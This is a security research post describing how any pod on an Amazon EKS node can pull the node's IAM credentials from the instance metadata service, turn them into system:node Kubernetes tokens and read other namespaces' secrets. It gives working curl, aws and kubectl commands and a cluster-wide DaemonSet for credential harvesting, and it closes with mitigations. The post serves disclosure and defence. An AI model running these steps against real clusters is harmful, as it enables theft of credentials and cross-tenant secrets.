Breaking Namespace Isolation on EKS via AWS Authentication Design
A flaw in Amazon's EKS lets any pod get node IAM credentials via IMDS and swap them for system:node Kubernetes tokens.
September 7, 2026

Amazon EKS has a design flaw in how it bridges AWS IAM authentication with Kubernetes identity. Any workload running on an EKS worker node can retrieve the node’s IAM credentials via the EC2 Instance Metadata Service (IMDS) and exchange them for a Kubernetes token with system:node privileges. The Kubernetes Node Authorizer then grants this identity the ability to read secrets of every pod scheduled on that node - across all namespaces. As a result, namespace-based isolation on EKS does not hold as a security boundary.
AWS was informed prior to publication and does not consider this a security vulnerability: in their assessment the behaviour works as intended. We agree that each component behaves as designed, and argue that it is precisely their intersection that erodes namespace isolation as a security boundary, which is why defenders still need to account for it.
This post walks through two attack scenarios that demonstrate the issue: an assumed breach scenario and a namespace isolation breakout.
Background: How EKS Authentication Works
Before diving into the attack scenarios, it is important to understand the authentication chain that makes this possible.
The EC2 Instance Metadata Service (IMDS)
Every EC2 instance - including EKS worker nodes - runs a metadata service accessible at 169.254.169.254. This link-local endpoint provides instance metadata, including temporary IAM security credentials for the instance’s attached IAM role.
Any process running on the instance can query these credentials:
# Step 1: Discover the IAM role name
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: Retrieve the temporary credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
The response returns a JSON object containing AccessKeyId, SecretAccessKey, and Token - fully functional AWS credentials that can be used to make API calls as the node’s IAM role.
From IAM Credentials to Kubernetes Tokens
EKS uses the AWSIAMAuthenticator to bridge AWS IAM identities into Kubernetes. The mechanism works as follows:
- The client creates a pre-signed URL for the AWS STS
GetCallerIdentityAPI endpoint, embedding the EKS cluster name in thex-k8s-aws-idheader. - This pre-signed URL is base64-encoded and prefixed with
k8s-aws-v1.to form a bearer token. - The EKS API server receives this token and forwards it to the IAM Authenticator webhook.
- The webhook calls STS using the pre-signed URL to verify the caller’s IAM identity.
- The IAM identity is then mapped to a Kubernetes identity via the
aws-authConfigMap (or the newer EKS Access Entries).
For worker nodes, the default aws-auth ConfigMap contains an entry like this:
mapRoles:
- rolearn: arn:aws:iam::111122223333:role/EKSNodeRole
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:bootstrappers
- system:nodes
This means: any entity that authenticates with the EKS node IAM role is automatically mapped to the Kubernetes identity system:node:<ec2-private-dns> and placed in the system:nodes group.
The Kubernetes Node Authorizer
Kubernetes includes a special-purpose authorization module called the NodeAuthorizer . It grants kubelets the permissions they need to operate, including:
- Read access to services, endpoints, and nodes
- Read access to pods bound to the kubelet’s node
- Read access to secrets, configmaps, persistent volumes, and persistent volume claims related to pods bound to the kubelet’s node
- Write access to node and pod status, and events
- The ability to create TokenReview and SubjectAccessReview requests
The critical detail here is that the Node Authorizer allows a node identity to read all secrets that are mounted into any pod scheduled on that node. This is by design - the kubelet needs access to these secrets to mount them into pod filesystems. But this same permission is what turns the IMDS credential leak into a cross-namespace secret read.
Scenario 1: Assumed Breach - From Compromised Pod to Cross-Namespace Secret Theft
Premise
An attacker has achieved code execution inside a pod running on an EKS cluster. This could be the result of a remote code execution vulnerability in a web application, a supply chain compromise, or any other application-level attack. The pod itself is unprivileged and has no special Kubernetes RBAC permissions.
Step 1: Retrieve Node IAM Credentials via IMDS
From within the compromised pod, the attacker queries the IMDS endpoint to obtain the worker node’s IAM credentials:
# Discover the IAM role attached to the worker node
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo "Node IAM Role: $ROLE_NAME"
# Retrieve temporary security credentials
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
# Export them as environment variables
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Token')
# Verify the identity
aws sts get-caller-identity
The get-caller-identity call confirms that the caller is now operating as the node’s IAM role:
{
"UserId": "AROA3XFRBF23EXAMPLE:i-0abc123def456789",
"Account": "111122223333",
"Arn": "arn:aws:sts::111122223333:assumed-role/EKSNodeRole/i-0abc123def456789"
}
Note: Two independent settings govern reachability here. IMDSv2 is a session-oriented scheme: every metadata read must carry a token first obtained via a
PUTrequest, whereas IMDSv1 answers plainGETrequests directly. The hop limit is a separate metadata option that caps how many network hops a response may travel, independent of the IMDS version. Because a container runs in its own network namespace, reaching IMDS from inside a pod costs one extra hop - so the attack only needs the hop limit to be 2 or higher. EKS managed node groups default to a hop limit of 2, which lets containers reach IMDS out of the box. With IMDSv1 the read is a singleGET; with IMDSv2 it is the same attack with an extra token step:# IMDSv2: First obtain a session token TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # Then use it for subsequent requests curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/
Step 2: Exchange IAM Credentials for a Kubernetes Token
With the node’s IAM credentials, the attacker can now generate a valid Kubernetes bearer token. The aws eks get-token command creates a pre-signed STS GetCallerIdentity URL, base64-encodes it, and formats it as a Kubernetes bearer token. Alternatively, a fully functional kubectl config can be generated via the following command:
aws eks update-kubeconfig --name eks-cluster --region eu-central-1
The attacker is now authenticated to the Kubernetes API as system:node:<ec2-private-dns>, a member of the system:nodes group.
Step 3: Enumerate Pods on the Node
The Node Authorizer allows nodes to list pods that are scheduled on them. The attacker identifies the current node and lists all pods running on it:
kubectl get pods --all-namespaces --field-selector spec.nodeName=<ec2-private-dns>
Example output:
NAMESPACE NAME READY STATUS RESTARTS AGE
default vulnerable-app-7b9f4c5d6-x2k9j 1/1 Running 0 3h
payments payment-processor-5d8c7b2a1-m3n4 1/1 Running 0 12h
kube-system aws-node-4f7d2 1/1 Running 0 7d
kube-system kube-proxy-9k2x1 1/1 Running 0 7d
The attacker can now see pods from the payments namespace co-located on the same node.
Step 4: Extract Secrets from Co-Located Pods
The Node Authorizer permits a system:node identity to get any secret that is mounted into a pod on its node. This means the attacker can directly retrieve secrets belonging to pods in other namespaces:
# Read the detailed pod spec to identify mounted secrets
kubectl get pod payment-processor-5d8c7b2a1-m3n4 -n payments -o json | \
jq '.spec.volumes[]? | select(.secret) | .secret.secretName'
# Output: "payment-api-keys"
# Output: "database-credentials"
# Extract those secrets directly
kubectl get secret payment-api-keys -n payments -o json | jq '.data | map_values(@base64d)'
kubectl get secret database-credentials -n payments -o json | jq '.data | map_values(@base64d)'
Example output:
{
"stripe-secret-key": "sk_live_51ABC...",
"webhook-signing-secret": "whsec_..."
}
In this scenario, the attacker has now exfiltrated production secrets from the payments namespace - all starting from an unprivileged pod with no RBAC permissions.
Scenario 2: Namespace Isolation Breakout - From Developer Credentials to Cluster-Wide Secret Extraction
Premise
An organization uses EKS with namespace-based multi-tenancy. Each team has its own namespace with strict RBAC policies. A developer has full access within their namespace team-alpha (the built-in admin ClusterRole bound via a RoleBinding scoped to that namespace), but zero visibility into other namespaces. At some point, this developer’s AWS access keys are compromised - perhaps through a phishing attack, a leaked .aws/credentials file, or a compromised CI/CD pipeline.
Step 1: Verify the Compromised Access
The attacker verifies that the stolen credentials provide kubectl access scoped to a single namespace:
# Confirm access to the team-alpha namespace
kubectl get pods -n team-alpha
# Success - pods are listed
# Confirm that other namespaces are inaccessible
kubectl get pods -n payments
# Error: forbidden
kubectl get secrets -n kube-system
# Error: forbidden
kubectl get nodes
# Error: forbidden
The RBAC configuration is working as intended - the developer identity is properly scoped to team-alpha.
Step 2: Deploy a DaemonSet Across All Nodes
Here is where the namespace isolation breaks down. The developer has permission to create workloads in their namespace, including DaemonSets. A DaemonSet automatically schedules one pod on every node in the cluster. A blanket toleration (operator: Exists) ensures the pods land even on nodes carrying taints, so no node is skipped. The following DaemonSet can be used to schedule a Pod on all worker nodes:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: schutzwerk-daemonset
namespace: team-alpha
labels:
app: schutzwerk-pentest
type: daemonset
spec:
selector:
matchLabels:
app: schutzwerk-pentest
type: daemonset
template:
metadata:
labels:
app: schutzwerk-pentest
type: daemonset
spec:
tolerations:
- operator: Exists
containers:
- name: schutzwerk-daemonset
image: smytilineos/sw-networking
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
By applying this manifest, the DaemonSet deploys a pod to every worker node in the cluster.
kubectl apply -f schutzwerk-daemonset.yaml
Step 3: Execute the IMDS Attack from Every Node
The attacker now has a pod running on each node. They can exec into each pod and perform the IMDS credential theft described in Scenario 1:
# List all DaemonSet pods
kubectl get pods -n team-alpha -l app=schutzwerk-pentest -o wide
# Output:
# NAME READY STATUS NODE
# schutzwerk-daemonset-4f7d2 1/1 Running ip-10-0-1-42.ec2.internal
# schutzwerk-daemonset-9k2x1 1/1 Running ip-10-0-2-87.ec2.internal
# schutzwerk-daemonset-m3n4p 1/1 Running ip-10-0-3-15.ec2.internal
For each pod, the attacker execs in and repeats the IMDS credential theft and secret extraction from Scenario 1, this time targeting the node that pod is bound to:
for POD in $(kubectl get pods -n team-alpha -l app=schutzwerk-pentest -o name); do
kubectl exec -n team-alpha "$POD" -- \
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# ...then repeat Steps 1-4 of Scenario 1 using that node's credentials
done
What Gets Exposed
Because the DaemonSet places a pod on every node, and the IMDS attack grants system:node access per node, the attacker can now read secrets from every pod in every namespace across the entire cluster, including:
kube-systemnamespace: AWS credentials, CNI plugin configurations, cluster-critical secrets- Other team namespaces: Database credentials, API keys, TLS certificates
- Service account tokens: Mounted automatically into every pod, potentially including tokens with elevated RBAC permissions
Why This Is a Design Flaw, Not a Misconfiguration
It is tempting to dismiss this as a misconfiguration issue. It is not. Every step in this attack chain uses components working exactly as designed:
- IMDS is designed to provide credentials to processes on the instance. AWS made a deliberate choice to make these credentials accessible to containers by default.
- The
aws-authConfigMap is designed to map the node IAM role to asystem:nodeKubernetes identity. This is the documented, officially supported mechanism for node registration. - The Node Authorizer is designed to let nodes read secrets of pods scheduled on them. Kubelets genuinely need this access to function.
- DaemonSets are designed to schedule pods on all nodes. Tolerations are a standard scheduling mechanism, not a privilege escalation.
The flaw lies in the intersection of these design decisions. AWS chose to authenticate worker nodes using IAM credentials that are broadly accessible from the instance. In doing so, they created a path where any process on the instance - including unprivileged containers - can assume the node’s Kubernetes identity and inherit its permissions.
This differs from how other Kubernetes distributions handle node authentication. In a vanilla Kubernetes cluster, node kubelets authenticate using TLS client certificates or bootstrap tokens that are stored in protected file paths - not accessible to arbitrary containers. The AWS-specific design choice of routing node authentication through IAM and IMDS is what introduces this vulnerability.
As noted at the outset, AWS was informed prior to publication and classified the described behaviour as working as intended rather than as a security vulnerability. The point of this section is that “works as intended” and “safe to rely on” are not the same claim.
The Implications for Multi-Tenancy
Many organizations rely on Kubernetes namespaces as a security boundary for multi-tenant workloads. EKS documentation and best practice guides often recommend namespace-based isolation as a legitimate approach for separating teams and workloads.
On EKS, however, the chain demonstrated above lets a workload cross that boundary:
- Any compromised pod can escalate to node-level Kubernetes access
- Any namespace admin can deploy a DaemonSet to reach all nodes
- The Node Authorizer then grants cross-namespace secret access
- No RBAC misconfiguration is required - this works on a properly configured cluster
For organizations running sensitive workloads on shared EKS clusters - financial services, healthcare, SaaS platforms - this means that a single compromised pod exposes the secrets referenced by every pod on its node, and a single compromised developer account can extend that reach to every node in the cluster.
Mitigations
While AWS has not addressed the root cause (IAM-based node authentication via IMDS), there are several defense-in-depth measures that reduce the blast radius:
1. Restrict IMDS Access with http-put-response-hop-limit: 1
Setting the IMDS hop limit to 1 prevents containerized workloads from reaching the metadata endpoint, since the request traverses the container network namespace (adding a hop):
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123def456789 \
--http-put-response-hop-limit 1 \
--http-tokens required
For EKS managed node groups, configure this in the launch template:
{
"MetadataOptions": {
"HttpEndpoint": "enabled",
"HttpTokens": "required",
"HttpPutResponseHopLimit": 1
}
}
Caveat: This may break workloads that rely on IMDS for obtaining AWS credentials. Migrate such workloads to IAMRolesforServiceAccounts(IRSA) or EKSPodIdentity first.
2. Use Network Policies to Block IMDS
Deploy a network policy that prevents pods from reaching the IMDS endpoint:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds
namespace: team-alpha
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
Caveat: Requires a CNI that enforces network policies. Since version 1.14 (Kubernetes 1.25 and above), the AWS VPC CNI enforces
NetworkPolicynatively via eBPF, but this is disabled by default and must be enabled on the VPC CNI add-on; alternatively a policy engine such as Calico or Cilium can be used. Note also that link-local destinations are not enforced by every network-policy implementation, so verify that the block actually takes effect. Additionally, developers often have admin permissions in their namespace and can simply delete such restrictive network policies.
Conclusion
EKS inherits a design decision that undermines namespace-based multi-tenancy: the ability to exchange EC2 instance IAM credentials for Kubernetes node-level tokens via the IMDS. This is not something that will be patched - it is a consequence of how AWS chose to integrate IAM authentication with the Kubernetes API.
Organizations using EKS should treat namespace isolation as an organizational convenience, not a security boundary. Any workload with different trust levels should run on separate clusters, or at minimum, on node groups with IMDS access fully restricted.
Until AWS provides a mechanism to decouple node authentication from instance-level IAM credentials, one compromised container on an EKS node exposes the secrets referenced by every pod on that node. A tenant who can schedule pods cluster-wide extends that to every namespace.
Sources: